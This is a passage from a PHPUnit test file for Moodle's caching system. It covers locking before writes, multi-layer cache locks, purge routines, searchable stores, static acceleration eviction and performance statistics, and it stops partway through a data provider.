=> 'test_application_locking', 'staticacceleration' => true, 'staticaccelerationsize' => 1, 'requirelockingbeforewrite' => true, ]); $cache = cache::make('phpunit', 'test_application_locking'); $this->assertInstanceOf(application_cache::class, $cache); $cache->acquire_lock('a'); try { // Set with lock. $this->assertTrue($cache->set('a', 'A')); // Set without lock. try { $cache->set('b', 'B'); $this->fail(); } catch (coding_exception $e) { $this->assertStringContainsString( 'Attempted to set cache key "b" without a lock. ' . 'Locking before writes is required for phpunit/test_application_locking', $e->getMessage() ); } // Set many without full lock. try { $cache->set_many(['a' => 'AA', 'b' => 'BB']); $this->fail(); } catch (coding_exception $e) { $this->assertStringContainsString( 'Attempted to set cache key "b" without a lock.', $e->getMessage() ); } // Check it didn't set key a either. $this->assertEquals('A', $cache->get('a')); // Set many with full lock. $cache->acquire_lock('b'); try { $this->assertEquals(2, $cache->set_many(['a' => 'AA', 'b' => 'BB'])); $this->assertEquals('AA', $cache->get('a')); $this->assertEquals('BB', $cache->get('b')); } finally { $cache->release_lock('b'); } // Delete key with lock. $this->assertTrue($cache->delete('a')); $this->assertFalse($cache->get('a')); // Delete key without lock. try { $cache->delete('b'); $this->fail(); } catch (coding_exception $e) { $this->assertStringContainsString( 'Attempted to delete cache key "b" without a lock.', $e->getMessage() ); } // Delete many without full lock. $cache->set('a', 'AAA'); try { $cache->delete_many(['a', 'b']); $this->fail(); } catch (coding_exception $e) { $this->assertStringContainsString( 'Attempted to delete cache key "b" without a lock.', $e->getMessage() ); } // Nothing was deleted. $this->assertEquals('AAA', $cache->get('a')); // Delete many with full lock. $cache->acquire_lock('b'); try { $this->assertEquals(2, $cache->delete_many(['a', 'b'])); } finally { $cache->release_lock('b'); } $this->assertFalse($cache->get('a')); $this->assertFalse($cache->get('b')); } finally { $cache->release_lock('a'); } } /** * Test that locking before write works when writing across multiple layers. * * @covers \core_cache\application_cache */ public function test_application_locking_multiple_layers(): void { $instance = cache_config_testing::instance(); $instance->phpunit_add_definition('phpunit/test_application_locking', [ 'mode' => store::MODE_APPLICATION, 'component' => 'phpunit', 'area' => 'test_application_locking', 'staticacceleration' => true, 'staticaccelerationsize' => 1, 'requirelockingbeforewrite' => true, ], false); $instance->phpunit_add_file_store('phpunittest1'); $instance->phpunit_add_file_store('phpunittest2'); $instance->phpunit_add_definition_mapping('phpunit/test_application_locking', 'phpunittest1', 1); $instance->phpunit_add_definition_mapping('phpunit/test_application_locking', 'phpunittest2', 2); $cache = cache::make('phpunit', 'test_application_locking'); $this->assertInstanceOf(application_cache::class, $cache); // Check that we can set a key across multiple layers. $cache->acquire_lock('a'); $this->assertTrue($cache->set('a', 'A')); // Delete from the current layer. $cache->delete('a', false); $cache->release_lock('a'); // Check that we can get the value from the deeper layer, which will also re-set it in the current one. $this->assertEquals('A', $cache->get('a')); // Try set/delete/get_many. $cache->acquire_lock('x'); $cache->acquire_lock('y'); $cache->acquire_lock('z'); $this->assertEquals(3, $cache->set_many(['x' => 'X', 'y' => 'Y', 'z' => 'Z'])); $cache->delete_many(['x', 'y', 'z'], false); $cache->release_lock('x'); $cache->release_lock('y'); $cache->release_lock('z'); $this->assertEquals(['x' => 'X', 'y' => 'Y', 'z' => 'Z'], $cache->get_many(['x', 'y', 'z'])); $cache->purge(); // Try the tests again with a third layer. $instance->phpunit_add_file_store('phpunittest3'); $instance->phpunit_add_definition_mapping('phpunit/test_application_locking', 'phpunittest3', 3); $cache = cache::make('phpunit', 'test_application_locking'); $this->assertInstanceOf(application_cache::class, $cache); // Check that we can set a key across multiple layers. $cache->acquire_lock('a'); $this->assertTrue($cache->set('a', 'A')); // Delete from the current layer. $cache->delete('a', false); $cache->release_lock('a'); // Check that we can get the value from the deeper layer, which will also re-set it in the current one. $this->assertEquals('A', $cache->get('a')); // Try set/delete/get_many. $cache->acquire_lock('x'); $cache->acquire_lock('y'); $cache->acquire_lock('z'); $this->assertEquals(3, $cache->set_many(['x' => 'X', 'y' => 'Y', 'z' => 'Z'])); $cache->delete_many(['x', 'y', 'z'], false); $cache->release_lock('x'); $cache->release_lock('y'); $cache->release_lock('z'); $this->assertEquals(['x' => 'X', 'y' => 'Y', 'z' => 'Z'], $cache->get_many(['x', 'y', 'z'])); } /** * Tests that locking fails correctly when either layer of a 2-layer cache has a lock already. * * @covers \core_cache\application_cache */ public function test_application_locking_multiple_layers_failures(): void { $instance = cache_config_testing::instance(); $instance->phpunit_add_definition('phpunit/test_application_locking', [ 'mode' => store::MODE_APPLICATION, 'component' => 'phpunit', 'area' => 'test_application_locking', 'staticacceleration' => true, 'staticaccelerationsize' => 1, 'requirelockingbeforewrite' => true, ], false); $instance->phpunit_add_file_store('phpunittest1'); $instance->phpunit_add_file_store('phpunittest2'); $instance->phpunit_add_definition_mapping('phpunit/test_application_locking', 'phpunittest1', 1); $instance->phpunit_add_definition_mapping('phpunit/test_application_locking', 'phpunittest2', 2); $cache = cache::make('phpunit', 'test_application_locking'); // We need to get the individual stores so as to set up the right behaviour here. $ref = new \ReflectionClass('\cache'); $definitionprop = $ref->getProperty('definition'); $storeprop = $ref->getProperty('store'); $loaderprop = $ref->getProperty('loader'); $definition = $definitionprop->getValue($cache); $localstore = $storeprop->getValue($cache); $sharedcache = $loaderprop->getValue($cache); $sharedstore = $storeprop->getValue($sharedcache); // Set the lock waiting time to 1 second so it doesn't take forever to run the test. $ref = new \ReflectionClass('\cachestore_file'); $lockwaitprop = $ref->getProperty('lockwait'); $lockwaitprop->setValue($localstore, 1); $lockwaitprop->setValue($sharedstore, 1); // Get key details and the cache identifier. $hashedkey = helper::hash_key('apple', $definition); $localidentifier = $cache->get_identifier(); $sharedidentifier = $sharedcache->get_identifier(); // 1. Local cache is not locked but parent cache is locked. $sharedstore->acquire_lock($hashedkey, 'somebodyelse'); try { try { $cache->acquire_lock('apple'); $this->fail(); } catch (moodle_exception $e) { // phpcs:ignore Generic.CodeAnalysis.EmptyStatement.DetectedCatch } // Neither store is locked by us, shared store still locked. $this->assertFalse((bool)$localstore->check_lock_state($hashedkey, $localidentifier)); $this->assertFalse((bool)$sharedstore->check_lock_state($hashedkey, $sharedidentifier)); $this->assertTrue((bool)$sharedstore->check_lock_state($hashedkey, 'somebodyelse')); } finally { $sharedstore->release_lock($hashedkey, 'somebodyelse'); } // 2. Local cache is locked, parent cache is not locked. $localstore->acquire_lock($hashedkey, 'somebodyelse'); try { try { $cache->acquire_lock('apple'); $this->fail(); } catch (moodle_exception $e) { // phpcs:ignore Generic.CodeAnalysis.EmptyStatement.DetectedCatch } // Neither store is locked by us, local store still locked. $this->assertFalse((bool)$localstore->check_lock_state($hashedkey, $localidentifier)); $this->assertFalse((bool)$sharedstore->check_lock_state($hashedkey, $sharedidentifier)); $this->assertTrue((bool)$localstore->check_lock_state($hashedkey, 'somebodyelse')); } finally { $localstore->release_lock($hashedkey, 'somebodyelse'); } // 3. Just for completion, test what happens if we do lock it. $this->assertTrue($cache->acquire_lock('apple')); try { $this->assertTrue((bool)$localstore->check_lock_state($hashedkey, $localidentifier)); $this->assertTrue((bool)$sharedstore->check_lock_state($hashedkey, $sharedidentifier)); } finally { $cache->release_lock('apple'); } } /** * Test the static helper method purge_stores_used_by_definition. */ public function test_purge_stores_used_by_definition(): void { $instance = cache_config_testing::instance(); $instance->phpunit_add_definition('phpunit/test_purge_stores_used_by_definition', [ 'mode' => store::MODE_APPLICATION, 'component' => 'phpunit', 'area' => 'test_purge_stores_used_by_definition', ]); $cache = cache::make('phpunit', 'test_purge_stores_used_by_definition'); $this->assertInstanceOf(application_cache::class, $cache); $this->assertTrue($cache->set('test', 'test')); unset($cache); helper::purge_stores_used_by_definition('phpunit', 'test_purge_stores_used_by_definition'); $cache = cache::make('phpunit', 'test_purge_stores_used_by_definition'); $this->assertInstanceOf(application_cache::class, $cache); $this->assertFalse($cache->get('test')); } /** * Test purge routines. */ public function test_purge_routines(): void { $instance = cache_config_testing::instance(); $instance->phpunit_add_definition('phpunit/purge1', [ 'mode' => store::MODE_APPLICATION, 'component' => 'phpunit', 'area' => 'purge1', ]); $instance->phpunit_add_definition('phpunit/purge2', [ 'mode' => store::MODE_APPLICATION, 'component' => 'phpunit', 'area' => 'purge2', 'requireidentifiers' => [ 'id', ], ]); $factory = factory::instance(); $definition = $factory->create_definition('phpunit', 'purge1'); $this->assertFalse($definition->has_required_identifiers()); $cache = $factory->create_cache($definition); $this->assertInstanceOf(application_cache::class, $cache); $this->assertTrue($cache->set('test', 'test')); $this->assertTrue($cache->has('test')); helper::purge_by_definition('phpunit', 'purge1'); $this->assertFalse($cache->has('test')); $factory = factory::instance(); $definition = $factory->create_definition('phpunit', 'purge2'); $this->assertTrue($definition->has_required_identifiers()); $cache = $factory->create_cache($definition); $this->assertInstanceOf(application_cache::class, $cache); $this->assertTrue($cache->set('test', 'test')); $this->assertTrue($cache->has('test')); helper::purge_stores_used_by_definition('phpunit', 'purge2'); $this->assertFalse($cache->has('test')); try { helper::purge_by_definition('phpunit', 'purge2'); $this->fail('Should not be able to purge a definition required identifiers without providing them.'); } catch (coding_exception $ex) { $this->assertStringContainsString('Identifier required for cache has not been provided', $ex->getMessage()); } } /** * Tests that ad-hoc caches are correctly purged with a purge_all call. */ public function test_purge_all_with_adhoc_caches(): void { $cache = cache::make_from_params(store::MODE_REQUEST, 'core_cache', 'test'); $cache->set('test', 123); helper::purge_all(); $this->assertFalse($cache->get('test')); } /** * Test that the default stores all support searching. */ public function test_defaults_support_searching(): void { $instance = cache_config_testing::instance(); $instance->phpunit_add_definition('phpunit/search1', [ 'mode' => store::MODE_APPLICATION, 'component' => 'phpunit', 'area' => 'search1', 'requiresearchable' => true, ]); $instance->phpunit_add_definition('phpunit/search2', [ 'mode' => store::MODE_SESSION, 'component' => 'phpunit', 'area' => 'search2', 'requiresearchable' => true, ]); $instance->phpunit_add_definition('phpunit/search3', [ 'mode' => store::MODE_REQUEST, 'component' => 'phpunit', 'area' => 'search3', 'requiresearchable' => true, ]); $factory = factory::instance(); // Test application cache is searchable. $definition = $factory->create_definition('phpunit', 'search1'); $this->assertInstanceOf(definition::class, $definition); $this->assertEquals(store::IS_SEARCHABLE, $definition->get_requirements_bin() & store::IS_SEARCHABLE); $cache = $factory->create_cache($definition); $this->assertInstanceOf(application_cache::class, $cache); $this->assertInstanceOf(searchable_cache_interface::class, $cache->get_store()); // Test session cache is searchable. $definition = $factory->create_definition('phpunit', 'search2'); $this->assertInstanceOf(definition::class, $definition); $this->assertEquals(store::IS_SEARCHABLE, $definition->get_requirements_bin() & store::IS_SEARCHABLE); $cache = $factory->create_cache($definition); $this->assertInstanceOf(session_cache::class, $cache); $this->assertInstanceOf(searchable_cache_interface::class, $cache->get_store()); // Test request cache is searchable. $definition = $factory->create_definition('phpunit', 'search3'); $this->assertInstanceOf(definition::class, $definition); $this->assertEquals(store::IS_SEARCHABLE, $definition->get_requirements_bin() & store::IS_SEARCHABLE); $cache = $factory->create_cache($definition); $this->assertInstanceOf(request_cache::class, $cache); $this->assertInstanceOf(searchable_cache_interface::class, $cache->get_store()); } /** * Test static acceleration * * Note: All the assertGreaterThanOrEqual() in this test should be assertGreaterThan() be because of some microtime() * resolution problems under some OSs / PHP versions, we are accepting equal as valid outcome. For more info see MDL-57147. */ public function test_static_acceleration(): void { $instance = cache_config_testing::instance(); $instance->phpunit_add_definition('phpunit/accelerated', [ 'mode' => store::MODE_APPLICATION, 'component' => 'phpunit', 'area' => 'accelerated', 'staticacceleration' => true, 'staticaccelerationsize' => 3, ]); $instance->phpunit_add_definition('phpunit/accelerated2', [ 'mode' => store::MODE_APPLICATION, 'component' => 'phpunit', 'area' => 'accelerated2', 'staticacceleration' => true, 'staticaccelerationsize' => 3, ]); $instance->phpunit_add_definition('phpunit/accelerated3', [ 'mode' => store::MODE_APPLICATION, 'component' => 'phpunit', 'area' => 'accelerated3', 'staticacceleration' => true, 'staticaccelerationsize' => 3, ]); $instance->phpunit_add_definition('phpunit/accelerated4', [ 'mode' => store::MODE_APPLICATION, 'component' => 'phpunit', 'area' => 'accelerated4', 'staticacceleration' => true, 'staticaccelerationsize' => 4, ]); $instance->phpunit_add_definition('phpunit/simpledataarea1', [ 'mode' => store::MODE_APPLICATION, 'component' => 'phpunit', 'area' => 'simpledataarea1', 'staticacceleration' => true, 'simpledata' => false, ]); $instance->phpunit_add_definition('phpunit/simpledataarea2', [ 'mode' => store::MODE_APPLICATION, 'component' => 'phpunit', 'area' => 'simpledataarea2', 'staticacceleration' => true, 'simpledata' => true, ]); $cache = cache::make('phpunit', 'accelerated'); $this->assertInstanceOf(cache_phpunit_application::class, $cache); // Set and get three elements. $this->assertTrue($cache->set('a', 'A')); $this->assertTrue($cache->set('b', 'B')); $this->assertTrue($cache->set('c', 'C')); $this->assertEquals('A', $cache->get('a')); $this->assertEquals(['b' => 'B', 'c' => 'C'], $cache->get_many(['b', 'c'])); // Make sure all items are in static acceleration array. $this->assertEquals('A', $cache->phpunit_static_acceleration_get('a')); $this->assertEquals('B', $cache->phpunit_static_acceleration_get('b')); $this->assertEquals('C', $cache->phpunit_static_acceleration_get('c')); // Add new value and make sure it is in cache and it is in array. $this->assertTrue($cache->set('d', 'D')); $this->assertEquals('D', $cache->phpunit_static_acceleration_get('d')); $this->assertEquals('D', $cache->get('d')); // Now the least recent accessed item (a) is no longer in acceleration array. $this->assertFalse($cache->phpunit_static_acceleration_get('a')); $this->assertEquals('B', $cache->phpunit_static_acceleration_get('b')); $this->assertEquals('C', $cache->phpunit_static_acceleration_get('c')); // Adding and deleting element. $this->assertTrue($cache->set('a', 'A')); $this->assertTrue($cache->delete('a')); $this->assertFalse($cache->phpunit_static_acceleration_get('a')); $this->assertFalse($cache->has('a')); // Make sure "purge" deletes from the array as well. $cache->purge(); $this->assertFalse($cache->phpunit_static_acceleration_get('a')); $this->assertFalse($cache->phpunit_static_acceleration_get('b')); $this->assertFalse($cache->phpunit_static_acceleration_get('c')); $this->assertFalse($cache->phpunit_static_acceleration_get('d')); $this->assertFalse($cache->phpunit_static_acceleration_get('e')); // Check that the array holds the last accessed items by get/set. $this->assertTrue($cache->set('a', 'A')); $this->assertTrue($cache->set('b', 'B')); $this->assertTrue($cache->set('c', 'C')); $this->assertTrue($cache->set('d', 'D')); $this->assertTrue($cache->set('e', 'E')); $this->assertFalse($cache->phpunit_static_acceleration_get('a')); $this->assertFalse($cache->phpunit_static_acceleration_get('b')); $this->assertEquals('C', $cache->phpunit_static_acceleration_get('c')); $this->assertEquals('D', $cache->phpunit_static_acceleration_get('d')); $this->assertEquals('E', $cache->phpunit_static_acceleration_get('e')); // Store a cacheable_object_interface, get many times and ensure each time wake_for_cache is used. // Both get and get_many are tested. Two cache entries are used to ensure the times aren't // confused with multiple calls to get()/get_many(). $startmicrotime = microtime(true); $cacheableobject = new cache_phpunit_dummy_object(1, 1, $startmicrotime); $cacheableobject2 = new cache_phpunit_dummy_object(2, 2, $startmicrotime); $this->assertTrue($cache->set('a', $cacheableobject)); $this->assertTrue($cache->set('b', $cacheableobject2)); $staticaccelerationreturntime = $cache->phpunit_static_acceleration_get('a')->propertytime; $staticaccelerationreturntimeb = $cache->phpunit_static_acceleration_get('b')->propertytime; $this->assertGreaterThanOrEqual($startmicrotime, $staticaccelerationreturntime, 'Restore time of static must be newer.'); // Reset the static cache without resetting backing store. $cache->phpunit_static_acceleration_purge(); // Get the value from the backend store, populating the static cache. $cachevalue = $cache->get('a'); $this->assertInstanceOf(cache_phpunit_dummy_object::class, $cachevalue); $this->assertGreaterThanOrEqual($staticaccelerationreturntime, $cachevalue->propertytime); $backingstorereturntime = $cachevalue->propertytime; $results = $cache->get_many(['b']); $this->assertInstanceOf(cache_phpunit_dummy_object::class, $results['b']); $this->assertGreaterThanOrEqual($staticaccelerationreturntimeb, $results['b']->propertytime); $backingstorereturntimeb = $results['b']->propertytime; // Obtain the value again and confirm that static cache is using wake_from_cache. // Upon failure, the times are not adjusted as wake_from_cache is skipped as the // value is stored serialized in the static acceleration cache. $cachevalue = $cache->phpunit_static_acceleration_get('a'); $this->assertInstanceOf(cache_phpunit_dummy_object::class, $cachevalue); $this->assertGreaterThanOrEqual($backingstorereturntime, $cachevalue->propertytime); $results = $cache->get_many(['b']); $this->assertInstanceOf(cache_phpunit_dummy_object::class, $results['b']); $this->assertGreaterThanOrEqual($backingstorereturntimeb, $results['b']->propertytime); /** @var cache_phpunit_application $cache */ $cache = cache::make('phpunit', 'accelerated2'); $this->assertInstanceOf(cache_phpunit_application::class, $cache); // Check that the array holds the last accessed items by get/set. $this->assertTrue($cache->set('a', 'A')); $this->assertTrue($cache->set('b', 'B')); $this->assertTrue($cache->set('c', 'C')); $this->assertTrue($cache->set('d', 'D')); $this->assertTrue($cache->set('e', 'E')); // Current keys in the array: c, d, e. $this->assertEquals('C', $cache->phpunit_static_acceleration_get('c')); $this->assertEquals('D', $cache->phpunit_static_acceleration_get('d')); $this->assertEquals('E', $cache->phpunit_static_acceleration_get('e')); $this->assertFalse($cache->phpunit_static_acceleration_get('a')); $this->assertFalse($cache->phpunit_static_acceleration_get('b')); $this->assertEquals('A', $cache->get('a')); // Current keys in the array: d, e, a. $this->assertEquals('D', $cache->phpunit_static_acceleration_get('d')); $this->assertEquals('E', $cache->phpunit_static_acceleration_get('e')); $this->assertEquals('A', $cache->phpunit_static_acceleration_get('a')); $this->assertFalse($cache->phpunit_static_acceleration_get('b')); $this->assertFalse($cache->phpunit_static_acceleration_get('c')); // Current keys in the array: d, e, a. $this->assertEquals(['c' => 'C'], $cache->get_many(['c'])); // Current keys in the array: e, a, c. $this->assertEquals('E', $cache->phpunit_static_acceleration_get('e')); $this->assertEquals('A', $cache->phpunit_static_acceleration_get('a')); $this->assertEquals('C', $cache->phpunit_static_acceleration_get('c')); $this->assertFalse($cache->phpunit_static_acceleration_get('b')); $this->assertFalse($cache->phpunit_static_acceleration_get('d')); $cache = cache::make('phpunit', 'accelerated3'); $this->assertInstanceOf(cache_phpunit_application::class, $cache); // Check that the array holds the last accessed items by get/set. $this->assertTrue($cache->set('a', 'A')); $this->assertTrue($cache->set('b', 'B')); $this->assertTrue($cache->set('c', 'C')); $this->assertTrue($cache->set('d', 'D')); $this->assertTrue($cache->set('e', 'E')); $this->assertFalse($cache->phpunit_static_acceleration_get('a')); $this->assertFalse($cache->phpunit_static_acceleration_get('b')); $this->assertEquals('C', $cache->phpunit_static_acceleration_get('c')); $this->assertEquals('D', $cache->phpunit_static_acceleration_get('d')); $this->assertEquals('E', $cache->phpunit_static_acceleration_get('e')); $this->assertTrue($cache->set('b', 'B2')); $this->assertFalse($cache->phpunit_static_acceleration_get('a')); $this->assertEquals('B2', $cache->phpunit_static_acceleration_get('b')); $this->assertFalse($cache->phpunit_static_acceleration_get('c')); $this->assertEquals('D', $cache->phpunit_static_acceleration_get('d')); $this->assertEquals('E', $cache->phpunit_static_acceleration_get('e')); $this->assertEquals(2, $cache->set_many(['b' => 'B3', 'c' => 'C3'])); $this->assertFalse($cache->phpunit_static_acceleration_get('a')); $this->assertEquals('B3', $cache->phpunit_static_acceleration_get('b')); $this->assertEquals('C3', $cache->phpunit_static_acceleration_get('c')); $this->assertFalse($cache->phpunit_static_acceleration_get('d')); $this->assertEquals('E', $cache->phpunit_static_acceleration_get('e')); $cache = cache::make('phpunit', 'accelerated4'); $this->assertInstanceOf(cache_phpunit_application::class, $cache); $this->assertTrue($cache->set('a', 'A')); $this->assertTrue($cache->set('a', 'A')); $this->assertTrue($cache->set('a', 'A')); $this->assertTrue($cache->set('a', 'A')); $this->assertTrue($cache->set('a', 'A')); $this->assertTrue($cache->set('a', 'A')); $this->assertTrue($cache->set('a', 'A')); $this->assertEquals('A', $cache->phpunit_static_acceleration_get('a')); $this->assertEquals('A', $cache->get('a')); // Setting simpledata to false objects are cloned when retrieving data. $cache = cache::make('phpunit', 'simpledataarea1'); $notreallysimple = new \stdClass(); $notreallysimple->name = 'a'; $cache->set('a', $notreallysimple); $returnedinstance1 = $cache->get('a'); $returnedinstance2 = $cache->get('a'); $returnedinstance1->name = 'b'; $this->assertEquals('a', $returnedinstance2->name); // Setting simpledata to true we assume that data does not contain references. $cache = cache::make('phpunit', 'simpledataarea2'); $notreallysimple = new \stdClass(); $notreallysimple->name = 'a'; $cache->set('a', $notreallysimple); $returnedinstance1 = $cache->get('a'); $returnedinstance2 = $cache->get('a'); $returnedinstance1->name = 'b'; $this->assertEquals('b', $returnedinstance2->name); } public function test_identifiers_have_separate_caches(): void { $cachepg = cache::make('core', 'databasemeta', ['dbfamily' => 'pgsql']); $cachepg->set(1, 'here'); $cachemy = cache::make('core', 'databasemeta', ['dbfamily' => 'mysql']); $cachemy->set(2, 'there'); $this->assertEquals('here', $cachepg->get(1)); $this->assertEquals('there', $cachemy->get(2)); $this->assertFalse($cachemy->get(1)); } public function test_performance_debug(): void { global $CFG; $this->resetAfterTest(true); $CFG->perfdebug = 15; $instance = cache_config_testing::instance(); $applicationid = 'phpunit/applicationperf'; $instance->phpunit_add_definition($applicationid, [ 'mode' => store::MODE_APPLICATION, 'component' => 'phpunit', 'area' => 'applicationperf', ]); $sessionid = 'phpunit/sessionperf'; $instance->phpunit_add_definition($sessionid, [ 'mode' => store::MODE_SESSION, 'component' => 'phpunit', 'area' => 'sessionperf', ]); $requestid = 'phpunit/requestperf'; $instance->phpunit_add_definition($requestid, [ 'mode' => store::MODE_REQUEST, 'component' => 'phpunit', 'area' => 'requestperf', ]); $application = cache::make('phpunit', 'applicationperf'); $session = cache::make('phpunit', 'sessionperf'); $request = cache::make('phpunit', 'requestperf'); // Check that no stats are recorded for these definitions yet. $stats = helper::get_stats(); $this->assertArrayNotHasKey($applicationid, $stats); $this->assertArrayHasKey($sessionid, $stats); // Session cache sets a key on construct. $this->assertArrayNotHasKey($requestid, $stats); // Check that stores register misses. $this->assertFalse($application->get('missMe')); $this->assertFalse($application->get('missMe')); $this->assertFalse($session->get('missMe')); $this->assertFalse($session->get('missMe')); $this->assertFalse($session->get('missMe')); $this->assertFalse($request->get('missMe')); $this->assertFalse($request->get('missMe')); $this->assertFalse($request->get('missMe')); $this->assertFalse($request->get('missMe')); $endstats = helper::get_stats(); $this->assertEquals(2, $endstats[$applicationid]['stores']['default_application']['misses']); $this->assertEquals(0, $endstats[$applicationid]['stores']['default_application']['hits']); $this->assertEquals(0, $endstats[$applicationid]['stores']['default_application']['sets']); $this->assertEquals(3, $endstats[$sessionid]['stores']['default_session']['misses']); $this->assertEquals(0, $endstats[$sessionid]['stores']['default_session']['hits']); $this->assertEquals(1, $endstats[$sessionid]['stores']['default_session']['sets']); $this->assertEquals(4, $endstats[$requestid]['stores']['default_request']['misses']); $this->assertEquals(0, $endstats[$requestid]['stores']['default_request']['hits']); $this->assertEquals(0, $endstats[$requestid]['stores']['default_request']['sets']); $startstats = helper::get_stats(); // Check that stores register sets. $this->assertTrue($application->set('setMe1', 1)); $this->assertTrue($application->set('setMe2', 2)); $this->assertTrue($session->set('setMe1', 1)); $this->assertTrue($session->set('setMe2', 2)); $this->assertTrue($session->set('setMe3', 3)); $this->assertTrue($request->set('setMe1', 1)); $this->assertTrue($request->set('setMe2', 2)); $this->assertTrue($request->set('setMe3', 3)); $this->assertTrue($request->set('setMe4', 4)); $endstats = helper::get_stats(); $this->assertEquals(0, $endstats[$applicationid]['stores']['default_application']['misses'] - $startstats[$applicationid]['stores']['default_application']['misses']); $this->assertEquals(0, $endstats[$applicationid]['stores']['default_application']['hits'] - $startstats[$applicationid]['stores']['default_application']['hits']); $this->assertEquals(2, $endstats[$applicationid]['stores']['default_application']['sets'] - $startstats[$applicationid]['stores']['default_application']['sets']); $this->assertEquals(0, $endstats[$sessionid]['stores']['default_session']['misses'] - $startstats[$sessionid]['stores']['default_session']['misses']); $this->assertEquals(0, $endstats[$sessionid]['stores']['default_session']['hits'] - $startstats[$sessionid]['stores']['default_session']['hits']); $this->assertEquals(3, $endstats[$sessionid]['stores']['default_session']['sets'] - $startstats[$sessionid]['stores']['default_session']['sets']); $this->assertEquals(0, $endstats[$requestid]['stores']['default_request']['misses'] - $startstats[$requestid]['stores']['default_request']['misses']); $this->assertEquals(0, $endstats[$requestid]['stores']['default_request']['hits'] - $startstats[$requestid]['stores']['default_request']['hits']); $this->assertEquals(4, $endstats[$requestid]['stores']['default_request']['sets'] - $startstats[$requestid]['stores']['default_request']['sets']); $startstats = helper::get_stats(); // Check that stores register hits. $this->assertEquals($application->get('setMe1'), 1); $this->assertEquals($application->get('setMe2'), 2); $this->assertEquals($session->get('setMe1'), 1); $this->assertEquals($session->get('setMe2'), 2); $this->assertEquals($session->get('setMe3'), 3); $this->assertEquals($request->get('setMe1'), 1); $this->assertEquals($request->get('setMe2'), 2); $this->assertEquals($request->get('setMe3'), 3); $this->assertEquals($request->get('setMe4'), 4); $endstats = helper::get_stats(); $this->assertEquals(0, $endstats[$applicationid]['stores']['default_application']['misses'] - $startstats[$applicationid]['stores']['default_application']['misses']); $this->assertEquals(2, $endstats[$applicationid]['stores']['default_application']['hits'] - $startstats[$applicationid]['stores']['default_application']['hits']); $this->assertEquals(0, $endstats[$applicationid]['stores']['default_application']['sets'] - $startstats[$applicationid]['stores']['default_application']['sets']); $this->assertEquals(0, $endstats[$sessionid]['stores']['default_session']['misses'] - $startstats[$sessionid]['stores']['default_session']['misses']); $this->assertEquals(3, $endstats[$sessionid]['stores']['default_session']['hits'] - $startstats[$sessionid]['stores']['default_session']['hits']); $this->assertEquals(0, $endstats[$sessionid]['stores']['default_session']['sets'] - $startstats[$sessionid]['stores']['default_session']['sets']); $this->assertEquals(0, $endstats[$requestid]['stores']['default_request']['misses'] - $startstats[$requestid]['stores']['default_request']['misses']); $this->assertEquals(4, $endstats[$requestid]['stores']['default_request']['hits'] - $startstats[$requestid]['stores']['default_request']['hits']); $this->assertEquals(0, $endstats[$requestid]['stores']['default_request']['sets'] - $startstats[$requestid]['stores']['default_request']['sets']); $startstats = helper::get_stats(); // Check that stores register through get_many. $application->get_many(['setMe1', 'setMe2']); $session->get_many(['setMe1', 'setMe2', 'setMe3']); $request->get_many(['setMe1', 'setMe2', 'setMe3', 'setMe4']); $endstats = helper::get_stats(); $this->assertEquals(0, $endstats[$applicationid]['stores']['default_application']['misses'] - $startstats[$applicationid]['stores']['default_application']['misses']); $this->assertEquals(2, $endstats[$applicationid]['stores']['default_application']['hits'] - $startstats[$applicationid]['stores']['default_application']['hits']); $this->assertEquals(0, $endstats[$applicationid]['stores']['default_application']['sets'] - $startstats[$applicationid]['stores']['default_application']['sets']); $this->assertEquals(0, $endstats[$sessionid]['stores']['default_session']['misses'] - $startstats[$sessionid]['stores']['default_session']['misses']); $this->assertEquals(3, $endstats[$sessionid]['stores']['default_session']['hits'] - $startstats[$sessionid]['stores']['default_session']['hits']); $this->assertEquals(0, $endstats[$sessionid]['stores']['default_session']['sets'] - $startstats[$sessionid]['stores']['default_session']['sets']); $this->assertEquals(0, $endstats[$requestid]['stores']['default_request']['misses'] - $startstats[$requestid]['stores']['default_request']['misses']); $this->assertEquals(4, $endstats[$requestid]['stores']['default_request']['hits'] - $startstats[$requestid]['stores']['default_request']['hits']); $this->assertEquals(0, $endstats[$requestid]['stores']['default_request']['sets'] - $startstats[$requestid]['stores']['default_request']['sets']); $startstats = helper::get_stats(); // Check that stores register through set_many. $this->assertEquals(2, $application->set_many(['setMe1' => 1, 'setMe2' => 2])); $this->assertEquals(3, $session->set_many(['setMe1' => 1, 'setMe2' => 2, 'setMe3' => 3])); $this->assertEquals(4, $request->set_many(['setMe1' => 1, 'setMe2' => 2, 'setMe3' => 3, 'setMe4' => 4])); $endstats = helper::get_stats(); $this->assertEquals(0, $endstats[$applicationid]['stores']['default_application']['misses'] - $startstats[$applicationid]['stores']['default_application']['misses']); $this->assertEquals(0, $endstats[$applicationid]['stores']['default_application']['hits'] - $startstats[$applicationid]['stores']['default_application']['hits']); $this->assertEquals(2, $endstats[$applicationid]['stores']['default_application']['sets'] - $startstats[$applicationid]['stores']['default_application']['sets']); $this->assertEquals(0, $endstats[$sessionid]['stores']['default_session']['misses'] - $startstats[$sessionid]['stores']['default_session']['misses']); $this->assertEquals(0, $endstats[$sessionid]['stores']['default_session']['hits'] - $startstats[$sessionid]['stores']['default_session']['hits']); $this->assertEquals(3, $endstats[$sessionid]['stores']['default_session']['sets'] - $startstats[$sessionid]['stores']['default_session']['sets']); $this->assertEquals(0, $endstats[$requestid]['stores']['default_request']['misses'] - $startstats[$requestid]['stores']['default_request']['misses']); $this->assertEquals(0, $endstats[$requestid]['stores']['default_request']['hits'] - $startstats[$requestid]['stores']['default_request']['hits']); $this->assertEquals(4, $endstats[$requestid]['stores']['default_request']['sets'] - $startstats[$requestid]['stores']['default_request']['sets']); } /** * Data provider for static acceleration performance tests. * * @return array */ public static function static_acceleration_performance_provider(): array { // Note: These are the delta values, not the absolute values. // Also note that the set will actually store the valuein the static cache immediately. $validfirst = [ 'default_application' => [ 'hits' => 1, 'misses' => 0, ], store::STATIC_ACCEL => [ 'hits' => 0, 'misses' => 1, ], ]; $validsecond = [ 'default_application' => [ 'hits' => 0, 'misses' => 0, ], store::STATIC_ACCEL => [ 'hits' => 1, 'misses' => 0, ], ]; $invalidfirst = [ 'default_application' => [ 'hits' => 0, 'misses' => 1, ], store::STATIC_ACCEL => [ 'hits' => 0, 'misses' => 1, ], ]; $invalidsecond = [ 'default_application' => [ 'hits' => 0, 'misses' => 1, ], store::STATIC_ACCEL => [ 'hits' => 0, 'misses' => 1, ], ]; ; return [ 'Truthy' => [ true, $validfirst, $validsecond, ], 'Null' => [ null, $validfirst, $validsecond, ], 'Empty Array' => [ [], $validfirst, $validsecond, ], 'Empty String' => [ '', $validfirst, 